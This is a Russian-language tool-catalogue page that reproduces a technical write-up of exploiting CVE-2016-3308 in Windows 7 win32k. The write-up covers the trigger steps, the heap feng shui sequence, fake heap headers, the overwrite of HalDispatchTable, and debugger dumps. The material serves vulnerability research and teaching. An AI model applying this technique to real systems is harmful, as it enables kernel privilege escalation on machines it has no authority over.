Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2016-3308 — Use CVE-2016-3308 corrupt win32k desktop heap | Kitploit
Инструменты/GitHubGitHub/jackhuyh/cve-2016-3308
Memory ForensicsVulnerability AnalysisExploitationBinary Exploitation
GitHubjackhuyh/cve-2016-3308

CVE-2016-3308

Use CVE-2016-3308 corrupt win32k desktop heap

Репозиторий
1219 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Использование CVE-2016-3308 для повреждения кучи рабочего стола win32k

автор : @55-AA, 18 сентября 2016

##Введение

Куча рабочего стола — это пул ядра, используемый win32k, который может быть эксплуатирован приложением в пользовательском режиме. Здесь я подробно опишу, как реализовать надежную эксплуатацию для чтения/записи произвольного адреса в ядре. Данное описание и связанный анализ выполнены на установке win7_sp1_x86 (сборка 17842).

##Уязвимость

9 августа 2016 года Microsoft выпустила MS16-098. Код уязвимости находится в функции win32k!xxxInsertMenuItem, прототип функции:

root@kitploit:~
BOOL xxxInsertMenuItem(
        PMENU pMenu, 
        UINT wIndex, 
        BOOL fByPosition, 
        LPMENUITEMINFOW lpmii, 
        PUNICODE_STRING pstrItem
    );

Сначала посмотрим на псевдокод ошибки в xxxInsertMenuItem:

root@kitploit:~
if (pMenu->cItems >= pMenu->cAlloced) {
    if (pMenu->rgItems) {
        pNewItems = (PITEM)DesktopAlloc(
                        pMenu->head.rpdesk,
                        (pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
                        DTAG_MENUITEM);
 ......

    pMenu->cAlloced += CMENUITEMALLOC;
    pMenu->rgItems = pNewItems;
    if (wIndex != MFMWFP_NOITEM)
        pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);

......

pMenu->cItems++;
if (pItem != NULL) {
    RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
            sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {

В приведенном выше коде, когда 9-й (начиная с 1-го) элемент был добавлен в pMenu, вызывалась DesktopAlloc() для перераспределения нового pMenu->rgItems. Затем вызывалась MNLookUpItem() для получения расположения элемента в pMenu->rgItems. Но возвращенный pItem от MNLookUpItem() является rgItems другого pSubMenu, а не pMenu, поэтому при вызове RtlMoveMemory() pItem pSubMenu и последующие байты будут перезаписаны из-за неправильного размера перемещения.

Ниже приведен дизассемблированный код ошибки, который запускает перезапись кучи; его можно использовать для создания поддельного блока:

root@kitploit:~
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c          imul    eax,eax,6Ch
95d295b2 2bc3            sub     eax,ebx
95d295b4 034634          add     eax,dword ptr [esi+34h]
95d295b7 50              push    eax
95d295b8 8d436c          lea     eax,[ebx+6Ch]
95d295bb 53              push    ebx
95d295bc 50              push    eax
95d295bd e85ea40100      call    win32k!memmove (95d43a20)

Для отслеживания ошибки я использую следующие точки останова в WinDbg:

root@kitploit:~
ba e1 win32k!xxxInsertMenuItem

ba e1 win32k!xxxInsertMenuItem+0xf3    
95d294e3 e843e70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c          imul    eax,eax,6Ch

Чтобы запустить ошибку, необходимо выполнить следующие этапы:

  1. Создайте меню.
  2. Создайте подменю как первый ITEM меню с ID 0x123; необходимо установить MENUITEMINFO.hbmpItem в HBMMENU_SYSTEM.
  3. Добавьте еще 7 ITEMов с ID от 0x1001 до 0x1007 в меню.
  4. Добавьте ITEM с ID 1 в подменю.
  5. Добавьте еще 8 ITEMов в подменю, чтобы получить tagMENU.rgItems с 16 слотами. Но этот шаг не обязателен для запуска, если вам нужен только сбой.
  6. Добавьте 9-й ITEM с ID 0x123 в меню, таким образом ожидаемая RtlMoveMemory() будет вызвана с ошибочными параметрами.

Куча рабочего стола

Куча рабочего стола — это глобальный пул, используемый всеми процессами GUI. Все объекты GUI, такие как окна, меню, хранятся в куче рабочего стола и управляются аллокатором кучи ядра. Аллокатор кучи ядра использует знакомые функции, такие как RtlAllocateHeap и RtlFreeHeap. В отличие от пользовательской кучи, куча рабочего стола не использует фронтальные аллокаторы, поэтому нет кучи с низкой фрагментацией, списка Lookaside и т.д. Также нет шифрования кучи до Windows 8 и более поздних версий. Ниже приведена структура блока на win7_sp1_x86:

root@kitploit:~
typedef struct _HEAP_ENTRY {
    USHORT Size;
    UCHAR Flags;
    UCHAR SegmentIndex;
    USHORT PreviousSize;
    UCHAR SegmentOffset;
    UCHAR UnusedBytes;
 } HEAP_ENTRY, *PHEAP_ENTRY;

Поля Size и PreviousSize представляют размер чанков, сдвинутый вправо на HEAP_GRANULARITY_SHIFT (определено как 3 в 32-битной системе) бит; поле Size указывает текущий чанк, а PreviousSize — предыдущий. Младший бит Flags обычно установлен в HEAP_ENTRY_BUSY (0x01), что означает, что чанк используется; если нет, то 0x00.

Следующий рисунок демонстрирует взаимосвязь между этими полями и блоком чанка. Второе зеленое подчеркнутое слово (0x000f) означает, что размер текущего чанка равен 0x78 байт; второе черное подчеркнутое слово (0x0003) означает, что размер предыдущего чанка равен 0x18 байт; а красные подчеркнутые слова (0x0001) означают, что текущие чанки используются. Здесь размер чанка включает размер заголовка; заголовок определен как структура HEAP_ENTRY выше.

Это наиболее важная особенность для повреждения кучи: аллокатор кучи всегда получает последний освобожденный чанк. Это означает, что мы можем фактически выделить чанк любого размера и в определенном месте, которое захотим.

##Повреждение

Используя ошибку, я могу перезаписать несколько байт в куче рабочего стола, тем самым получив поддельный чанк, который заменяет нормальный чанк. Затем я освобождаю замененный чанк, так что поддельный чанк помещается в начало списка свободных чанков. Впоследствии поддельный чанк повторно используется, и я могу записать в него любые байты. Область записи перекрывает несколько нормальных чанков, но не может покрыть всю область ядра. Поэтому мне нужно построить еще один примитив чтения/записи в перекрытой области, который использует tagWND.strName для записи по произвольному адресу. Указатель strName.Buffer может привести нас куда угодно, включая ядро и пользовательское пространство. Конечно, наша цель — только nt!HalDispatchTable.

Следующий рисунок показывает процедуру изменения кучи:

Согласно демонстрации, я шаг за шагом повреждаю кучу рабочего стола и реализую эксплуатацию следующими этапами:

  1. Создайте несколько окон с размером WndText = 1, выполните цикл FILL_HOLE_COUNT раз, чтобы заполнить старую дыру.
  2. Создайте WND_0 – WND_5 для работы с данными чанков.
  3. Создайте меню и создайте подменю как первый ITEM меню с ID 0x123. Затем добавьте еще 7 ITEMов с ID 0x1001–0x1007 в меню.
  4. Добавьте ITEM с ID 1 и еще 7 ITEMов с ID 0x2001–0x2007 в подменю.
  5. Добавьте 9-й ITEM с ID 0x2008 в подменю, чтобы получить tagMENU.rgItems с 16 слотами.
  6. Установите текст WND_5 размером 0x360 байт, чтобы заполнить исходную дыру от 8 ITEMов подменю.
  7. Установите текст WND_1 размером 0x70 байт, подготовьте заголовок поддельного чанка.
  8. Установите текст WND_2 размером 0x70 байт, создайте заполнитель для поддельного чанка.
  9. Установите текст WND_0 размером 0x6c0 байт, создайте заполнитель для будущих 16 ITEMов меню.
  10. Создайте Primitive-WND с автоматически созданным tagPROPLIST.
  11. Создайте Corrupt-WND с автоматически созданным tagPROPLIST.
  12. Установите текст WND_3 размером 0x10 байт для следующего поддельного чанка, следующего за тем, что на шаге 8.
  13. Сохраните макет кучи, чтобы восстановить его на этапе выхода.
  14. Сбросьте текст WND_0 до 0x700 байт, чтобы освободить дыру размером 0x6c0.
  15. Добавьте 9-й ITEM в меню; он повторно использует чанк, освобожденный на шаге 14, и ошибка будет запущена.
  16. Сбросьте текст WND_2 до 0x80 байт, что приведет к помещению поддельного чанка в начало списка освобожденных.
  17. Установите текст Corrupt-WND размером 0x8e0 байт; тогда поддельный чанк будет повторно использован.
  18. Установив текст Primitive-WND, выполните примитив записи, чтобы перезаписать nt!HalDispatchTable[1].
  19. Запустите шеллкод, вызвав NtQueryIntervalProfile.
  20. Восстановите сохраненный макет кучи и выйдите.

Ключевые шаги, перечисленные выше, для построения фэн-шуй кучи:

На шаге 7 я создам поддельный заголовок кучи в тексте WND_1, он определяет состояние будущего чанка. Как показано синим разделом на рисунке выше, он перезапишет красный раздел. Расстояние от 'Corrupt HDR' до 'red HDR' равно 0x6c, что является размером ITEM. Следующие параметры:

root@kitploit:~
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;

На шаге 12 я создам следующий поддельный заголовок кучи в тексте WND_3; это заставляет аллокатор кучи поверить, что эти поддельные чанки нормально связаны.

На шаге 15 ошибка будет запущена. Из-за добавления 9-го ITEM список ITEMов перераспределяется, повторно используя освобожденный чанк текста WND_0. Таким образом, расстояние от 'SubMenuITEMs HDR' до 'MenuITEMs HDR' составляет (0x6c8+0x78+0x78) байт; данные в этой области будут перезаписаны сами собой. На этом шаге заголовки чанков WND_1, WND_2 и MenuITEMs были повреждены. Чтобы нормально завершить процесс, я сохраняю некоторые данные, чтобы восстановить их на шаге 20.

На шаге 13 я сохраняю некоторые данные до того, как они будут повреждены. Однако я нахожусь в пользовательском режиме, поэтому не могу прочитать эти данные в ядре. К счастью, в пользовательском режиме есть отображаемый раздел, который является образом кучи рабочего стола. Хотя он доступен только для чтения, этого достаточно для моих целей. Чтобы получить адрес раздела образа в пользовательском режиме, можно использовать Win32ClientInfo — это недокументированная структура в TEB, давайте посмотрим:

root@kitploit:~
typedef struct _CLIENTINFO { 
    ULONG_PTR CI_flags; 
    ULONG_PTR cSpins; 
    DWORD dwExpWinVer; 
    DWORD dwCompatFlags; 
    DWORD dwCompatFlags2; 
    DWORD dwTIFlags; 
    PDESKTOPINFO pDeskInfo; 
    ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;

typedef struct _DESKTOPINFO { 
    PVOID pvDesktopBase; 
    PVOID pvDesktopLimit; 
} DESKTOPINFO, *PDESKTOPINFO;

Поля, которые нас интересуют: pvDesktopBase и ulClientDelta. pvDesktopBase указывает на адрес ядра кучи рабочего стола; ulClientDelta — это дельта-значение, которое определяет смещение между образом в пользовательском режиме и адресом ядра.

Кроме того, мне нужно отображение HANDLE на адрес ядра. Существует глобальная переменная gSharedInfo, экспортируемая user32.dll в Windows 7 и более поздних версиях. Она определена следующим образом:

root@kitploit:~
typedef struct _SHAREDINFO{
	PSERVERINFO psi;      
	PHANDLEENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;      
	ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl[31];
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;

Таким образом, я могу получить адрес ядра из дескриптора с помощью функции:

root@kitploit:~
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
	HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
	ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
	ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
	ULONG dwUniq = (ULONG)MyHandle >> 16;
	if(dwIndex <= cEntries) {
		if (dwUniq == UserHandleTable[dwIndex].wUniq) {
			*UserlandPtr = (PVOID)(
                (ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
			return (PVOID)UserHandleTable[dwIndex].phead;
		}
	}
	return NULL;
}

На шагах 17, 18 и 20 я хочу записать несколько байт в ядро, поэтому я использую текст окна. Это LARGE_UNICODE_STRING, выделенная в куче рабочего стола и связанная с объектом окна. Мы можем найти его в структуре tagWND; на win7_sp1_x86 ее смещение равно 0x84, а смещение 0x8c — это как раз указатель, которым мы можем управлять для чтения/записи. В пользовательском режиме я могу вызвать NtUserDefSetText(), чтобы установить текст окна; содержимое текста будет записано по нужному адресу ядра.

На шаге 19 я запускаю последнюю цель — шеллкод. Вызовом NtQueryIntervalProfile() в пользовательском режиме изначально должна вызываться hal!HaliQuerySystemInformation, но ее указатель на функцию в nt!HalDispatchTable был заменен моей собственной функцией на шаге 18. Кстати, когда первый параметр NtQueryIntervalProfile установлен в 1, происходит короткое замыкание из-за следующего кода по смещению 84115505:

root@kitploit:~
nt!KeQueryIntervalProfile:
841154fd 8bff            mov     edi,edi
841154ff 55              push    ebp
84115500 8bec            mov     ebp,esp
84115502 83ec10          sub     esp,10h
84115505 83f801          cmp     eax,1
84115508 7507            jne     nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9              leave
84115510 c3              ret

Помимо этого, любое другое значение будет обработано.

Для удобного отслеживания всего процесса повреждения я вывожу некоторые ключевые значения в консоль.

Согласно выводу, мы можем взглянуть на макет повреждаемой кучи рабочего стола с помощью WinDbg.

Это WND_1_Text и WND_2_Text на шаге 7 и шаге 8:

root@kitploit:~
1: kd> db fea2d7a8-8 l78*2
fea2d7a0  0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00  ................
fea2d7b0  e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d810  00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08  ................
fea2d820  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Это состояние после эксплуатации на шаге 15:

root@kitploit:~
0: kd> db fea2d7a8-8 l78*2
fea2d7a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d810  d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08  ................
fea2d820  f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00  .6..............
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00  ................

Это завершенный поддельный чанк:

root@kitploit:~
0: kd> db fea2d820-8
fea2d818  1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe  .........6......
fea2d828  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d838  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d848  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d858  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d868  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d878  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d888  0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................

Это второй завершенный поддельный чанк:

root@kitploit:~
0: kd> db fea2d820-8 + 11d*8
fea2e100  02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00  ................
fea2e110  0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1  ........8&......
fea2e120  00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00  [email protected].........
fea2e130  00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe  ................
fea2e140  00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95  .........@......
fea2e150  00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00  ................
fea2e160  e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe  .>..............
fea2e170  00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09  ................

PrimitiveWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4  02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00  .........S......
fea2dff4  60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  `...............
fea2e004  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e014  17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01  ..............~.
fea2e024  18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00  ................
fea2e034  03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe  [email protected]...
fea2e044  18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04  ...`............
fea2e054  00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe  ........`...(...

CorruptWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4  de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00  ........ .......
fea2e0c4  30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  0...............
fea2e0d4  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e0e4  17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01  ..............~.
fea2e0f4  18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00  ................
fea2e104  1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00  ................
fea2e114  03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00  ....8&..........
fea2e124  40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00  @.G.............

Указатель шеллкода заменен:

root@kitploit:~
0: kd> dds nt!HalDispatchTable
83f753f8  00000004
83f753fc  013711c0
83f75400  83e3c1b4 hal!HalpSetSystemInformation
83f75404  840fe71f nt!xHalQueryBusSlots
83f75408  00000000

0: kd> u 013711c0
013711c0 a188fa3701      mov     eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701    mov     ecx,dword ptr ds:[137FA80h]
013711cb 894804          mov     dword ptr [eax+4],ecx
013711ce 33c0            xor     eax,eax
013711d0 c21000          ret     10h

##Ссылки

  • An Analysis Of MS16-098
  • Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE 2015-0057) bug on both 32-bit and 64-bit
  • Kernel Attacks through User-Mode Callbacks
Скачать инструмент